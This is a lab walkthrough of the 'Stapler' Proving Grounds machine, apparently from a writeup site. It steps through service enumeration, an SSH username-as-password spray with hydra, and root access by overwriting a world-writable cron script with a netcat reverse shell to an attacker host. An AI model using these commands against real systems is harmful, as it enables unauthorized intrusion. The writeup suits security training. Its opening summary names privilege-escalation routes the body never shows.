# Stapler Writeup - Proving Grounds > Exploiting an outdated WordPress installation on a Linux box via SSH enumeration, privilege escalation through a writable bash history and SUID binaries. - **URL:** https://hackindex.io/writeups/stapler - **Platform:** Proving Grounds - **Difficulty:** Medium - **Operating system:** Linux - **Machine:** https://portal.offsec.com/machine/stapler-15769/overview - **Tags:** wordpress, privilege-escalation, suid, cron-abuse, password-cracking - **Authors:** [Joshua](https://hackindex.io/authors/joshua.md) - **Read time:** 4 min read - **Published:** 2026-02-23 - **Updated:** 2026-09-11 ## Discovery The full TCP scan returns eight open ports. FTP on 21 allows anonymous login, SSH on 22, DNS on 53, HTTP on both 80 and 12380, Samba on 139, MySQL on 3306, and something serving a ZIP file on port 666. **TCP port scan** ```bash scan_tcp_full $TARGET_IP # PORT STATE SERVICE VERSION # 21/tcp open ftp vsftpd 3.0.3 # | ftp-anon: Anonymous FTP login allowed (FTP code 230) # 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 # 53/tcp open tcpwrapped # 80/tcp open http PHP cli server 5.5 or later # |_http-title: 404 Not Found # 139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu # 666/tcp open pkzip-file .ZIP file # 3306/tcp open mysql MySQL 5.7.12-0ubuntu1 # 12380/tcp open http Apache httpd 2.4.18 ((Ubuntu)) ``` ## Enumeration ### Port 666 , ZIP File Connecting to port 666 streams raw ZIP data. Redirect it to a file and extract it: **Extract ZIP from port 666** ```bash nc $TARGET_IP 666 > idk.zip unzip idk.zip # Archive: idk.zip # inflating: message2.jpg ``` The image contains the message: *Scott, please change this message.* , a potential username. ### HTTP on Port 80 The PHP dev server on port 80 returns 404 for the root, but directory enumeration finds `.bashrc` and `.profile` served directly , the web root is someone's home directory. The FTP banner also names **Harry**. The page on port 12380 contains usernames in its HTML source and headers: **Check port 12380 response headers and page source** ```bash curl -I http://$TARGET_IP:12380/ # HTTP/1.1 400 Bad Request # Server: Apache/2.4.18 (Ubuntu) # Dave: Soemthing doesn't look right here ``` The page title and an HTML comment expose additional names: **Tim**, **Dave**, and **Zoe**. ### FTP , Anonymous Login Anonymous FTP login works. A `note` file is available in the root directory: **Retrieve FTP note** ```bash ftp $TARGET_IP # 220-|-----------------------------------------------------------------------------------------| # 220-| Harry, make sure to update the banner when you get a chance to show who has access here | # 220-|-----------------------------------------------------------------------------------------| # Name: anonymous # 331 Please specify the password. # Password: # 230 Login successful. # ftp> get note # 226 Transfer complete. ``` ``` Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John. ``` Additional usernames: **Elly** and **John**. ### SMB Enumeration Null session enumeration via `smbclient` reveals two readable shares: `kathy` and `tmp`. The `kathy` share contains a backup directory with a `vsftpd.conf` and a WordPress 4 tarball. **List SMB shares** ```bash smbclient -L //$TARGET_IP -N # Sharename Type Comment # --------- ---- ------- # print$ Disk Printer Drivers # kathy Disk Fred, What are we doing here? # tmp Disk All temporary files should be stored here # IPC$ IPC IPC Service (red server (Samba, Ubuntu)) ``` The share comment names another user: **Fred**. Download all files from the `kathy` share: **Download kathy share contents** ```bash smbclient //$TARGET_IP/kathy -U kathy -c 'prompt OFF; recurse ON; mget *' # getting file \kathy_stuff\todo-list.txt # getting file \backup\vsftpd.conf # getting file \backup\wordpress-4.tar.gz ``` ### User Enumeration via RID Cycling RID cycling via `enum4linux` enumerates all local Unix users through the S-1-22-1 SID, yielding a full list of 29 accounts to build a username list from. **RID cycling with enum4linux** ```bash enum4linux -a $TARGET_IP # [+] Enumerating users using SID S-1-22-1 # S-1-22-1-1000 Unix User\peter # S-1-22-1-1001 Unix User\RNunemaker # S-1-22-1-1002 Unix User\ETollefson # S-1-22-1-1003 Unix User\DSwanger # S-1-22-1-1004 Unix User\AParnell # S-1-22-1-1005 Unix User\SHayslett # S-1-22-1-1006 Unix User\MBassin # S-1-22-1-1007 Unix User\JBare # # S-1-22-1-1028 Unix User\www # S-1-22-1-1029 Unix User\elly ``` ## Initial Access With a list of 37 usernames, spray SSH using each username as its own password. Hydra finds a hit quickly: **SSH username-as-password spray** ```bash hydra -L users.txt -P users.txt ssh://$TARGET_IP -t 6 # [22][ssh] host: 192.168.136.148 login: SHayslett password: $SHAYSLETT_PASSWORD ``` **SSH as SHayslett** ```bash ssh SHayslett@$TARGET_IP # SHayslett@192.168.136.148's password: # Welcome back! # SHayslett@red:~$ ``` ## Privilege Escalation LinPEAS highlights a world-writable cron script that runs as root every five minutes: **Check cron job** ```bash cat /etc/cron.d/logrotate # */5 * * * * root /usr/local/sbin/cron-logrotate.sh ``` **Confirm write permission** ```bash ls -la /usr/local/sbin/cron-logrotate.sh # -rwxrwxrwx 1 root root 0 Jun 4 2016 /usr/local/sbin/cron-logrotate.sh ``` The script is world-writable. Overwrite it with a reverse shell payload and wait up to five minutes for the cron to fire: **Write reverse shell into cron script** ```bash echo "busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash" > /usr/local/sbin/cron-logrotate.sh ``` **Catch the root shell** ```bash nc -lvnp $ATTACKER_PORT # connect to [192.168.45.213] from (UNKNOWN) [192.168.136.148] 50060 # whoami # root ``` Root shell obtained when the cron fires. Related ## References - [enum4linux — Samba Enumeration Tool](https://github.com/CiscoCXSecurity/enum4linux) - Null session enumeration and RID cycling against Samba targets - [GTFOBins](https://gtfobins.github.io/) - Reference for privilege escalation via misconfigurations and SUID binaries